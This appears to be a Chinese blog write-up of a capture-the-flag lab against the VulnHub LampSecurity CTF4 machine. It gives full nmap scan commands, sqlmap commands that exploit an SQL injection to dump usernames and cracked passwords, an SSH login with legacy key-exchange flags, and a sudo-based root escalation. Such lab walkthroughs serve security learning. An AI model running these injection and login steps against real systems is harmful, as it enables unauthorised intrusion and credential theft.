红队笔记7-CTF4打靶流程-sqlmap注入-ssh远程登录

目录

开头:

1.主机发现和端口扫描:

2.优先级分析:

 3.80端口-sqlmap获取账号密码

1.先列出所有数据库:

2.看ehks数据库对应的数据表:

3.那我们接下来就是看这个user表中有什么字段

4.查看user_name 和user_pass字段里面的数据

4.22端口:远程登录&解决ssh登录问题

 5.提权:

6.总结:


开头:

学习的视频是哔哩哔哩红队笔记:

「红队笔记」靶机精讲:LampSecurityCTF4 - SQL注入原理,手动注入和SQLmap自动化注入一起呈现。_哔哩哔哩_bilibili

打靶时参考文章和本文借鉴文章:

红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)_lampsecurityctf4-CSDN博客

靶机下载链接见:

https://download.vulnhub.com/lampsecurity/ctf4.zip

1.主机发现和端口扫描:

主机发现:

Sudo nmap -sn 192.168.254.0/24 

端口扫描:

sudo nmap -min-rate 10000 -p- 192.168.254.145
sudo nmap -sU -p22,25,80,631 192.168.254.145
sudo nmap --script=vuln -p22,25,80,631 192.168.254.145

开启了22 ,25,80,631  其中25端口和631端口我不太熟悉,上网查询一下:

25端口:是SMTP服务的端口,邮箱传输协议

631端口:是ipp协议,打印机协议

感觉作用不大

80端口泄露:

80端口脚本扫描泄露:

1.目录:

2.CSRF:利用复杂,需要管理员配合

3.doss:没有什么用

4.Sql注入:重点再这上面 

2.优先级分析:

1.80,

2.22,

3.25,

4.631

 3.80端口-sqlmap获取账号密码

打开是一个页面,因为有个搜索功能,输入‘测试是否存在sql注入

对页面有影响说明漏洞存在 id是注入点 

python.exe sqlmap.py -u http://192.168.254.145/?title=Blog&page=blog&id=7 

 sqlmap直接梭哈

 发现id是注入点

MYSql版本是大于5.0.12 的 可以利用information_schema

python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" --is-dba

 查看当前用户是否有管理员权限,

我们是管理员权限(那么我们现在有三种进攻方式,1:通过sql注入写入后门文件,访问后门。2.因为在nmap我们扫描到有admin页面,存在登录问题,所以我们可以通过sql注入获取用户密码登录后台再去getshell;3.直接利用sqlmap执行代码反弹shell) 

先尝试方法2:

1.先列出所有数据库:

python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" –dbs

--dbs : 列举出mysql中所有数据库

 

我看源码发现了ehks,所有我猜测ehks表是这个web对应的数据库

2.看ehks数据库对应的数据表:

​​​​​​python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7" --tables -D ehks

-- tables  枚举DBMS数据库中所有的表

-D db 指定进行枚举的数据库名称

 发现ehks数据库下有有个user库

那我们接下来就是看这个user表中有什么字段

3.那我们接下来就是看这个user表中有什么字段

python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7*"  --columns -T user -D ehks

 --columns 枚举DBMS数据库表中所有的列

-T   table    指定进行枚举的数据库表名称

有user_name 和user_pass字段

4.查看user_name 和user_pass字段里面的数据

python.exe sqlmap.py -u "http://192.168.254.145/?title=Blog&page=blog&id=7*" --dump -C user_name,user_pass -T user -D ehks

-C 字段1,字段2 column 指定进行枚举的数据库列名称

--dump 存储DBMS数据库的表中的条目

 
| dstevens  | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf)        |

| achen     | b46265f1e7faa3beab09db5c28739380 (seventysixers) |

| pmoore    | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite)        |

| jdurbin   | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978)          |

| sorzek    | 64d1f88b9b276aece4b0edcc25b7a434 (pacman)           |

| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1)           |

查出了enks数据库中user表中 user_name 和user_pass用户密码和账号

尝试用账号密码登录后台 

 

登录成功,但是这个界面没什么大的变化啊,以下对web的探测都是无用功!!!不想看的就直接看22端口

查看了源码webmaster是有个邮箱

点击POSTblog,出现这个页面

感觉是写文章的title 和body(应该就是写博客的)

看看能不能写入shell(后来想想,是绝对不可能的,这种是拼接在前端的,最多是个XSS,绝对不能运行php代码)

写入的内容在这里显示了

尝试写入PHP反弹shell(可能不会执行php代码,但是总归要尝试嘛)

 

嗯。。。。难到是完整的< > 浏览器识别成标签了? (还是太天真,就是我太菜了)

尝试把shell隔别出来(因为这种文字大多数是拼接到html中的所有写上html标签也会拼接上去,这是xss的思路,但是XSS对于我们要拿到shell没有上面帮助)

欧克也不行,不能尝试了时间用的差不多了,感觉我们进了兔子洞了,即使我们拼接成功,有可能反弹不了,他是html文件

博客是将写入的内容存入数据库中,然后再取出来拼接到html页面中的,执行不了,只看看有没有其他的地方可以进攻了

4.22端口:远程登录&解决ssh登录问题

Web感觉没有什么内容了,尝试用刚刚获取的密码尝试登录ssh

ssh dstevens@192.168.200.143

报错了什么东西啊从来没有遇见过,没遇见过上网搜索

报错内容:

无法与 192.168.254.145 端口 22 协商:未找到匹配的密钥交换方法。他们的报价:diffie-hellman-grou│p-交换-SHA1,diffie-hellman-组14-sha1,diffie-hellman-group1-sh

 看来是这靶机太过久远

解决办法:

构造最后命令:

sudo ssh -oKexAlgorithms=+diffie-hellman-group1-sha1  -oHostKeyAlgorithms=+ssh-dss dstevens@192.168.254.145  

登录成功

 5.提权:

sudo -l

两个ALL

sudo /bin/bash直接重新创建一个交互

提权成功了

拿到了root权限打靶完成

6.总结:

CTF4这个靶场很简单,也是因为是09年的靶场了,sqlmap这种工具也没有诞生。

思路:80端口->web->注入点->sqlmap获取账号密码->ssh登录

打这个靶场也暴露出来我很多的缺点:

1.在对web功能简单分析的过程中,老是被没有用的点浪费时间,对功能是否有利用点,分析的不到位,说到底还是自己的经验不足。

2.过于依赖工具。

红队笔记大佬还提到,进行渗透测试的过程中,我们不能单纯依赖nmap和sqlmap这种自动化工具,还是要了解漏洞的原理与代码的编写,使用工具表面上方便,但会有很多缺点。比如容易暴露流量特征、难以进行精确的操作、工具有可能被ban等。归根结底,工具只是在我们了解漏洞原理和代码的基础上,加快我们的渗透进程,而不是渗透测试的核心所在

  • 33
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值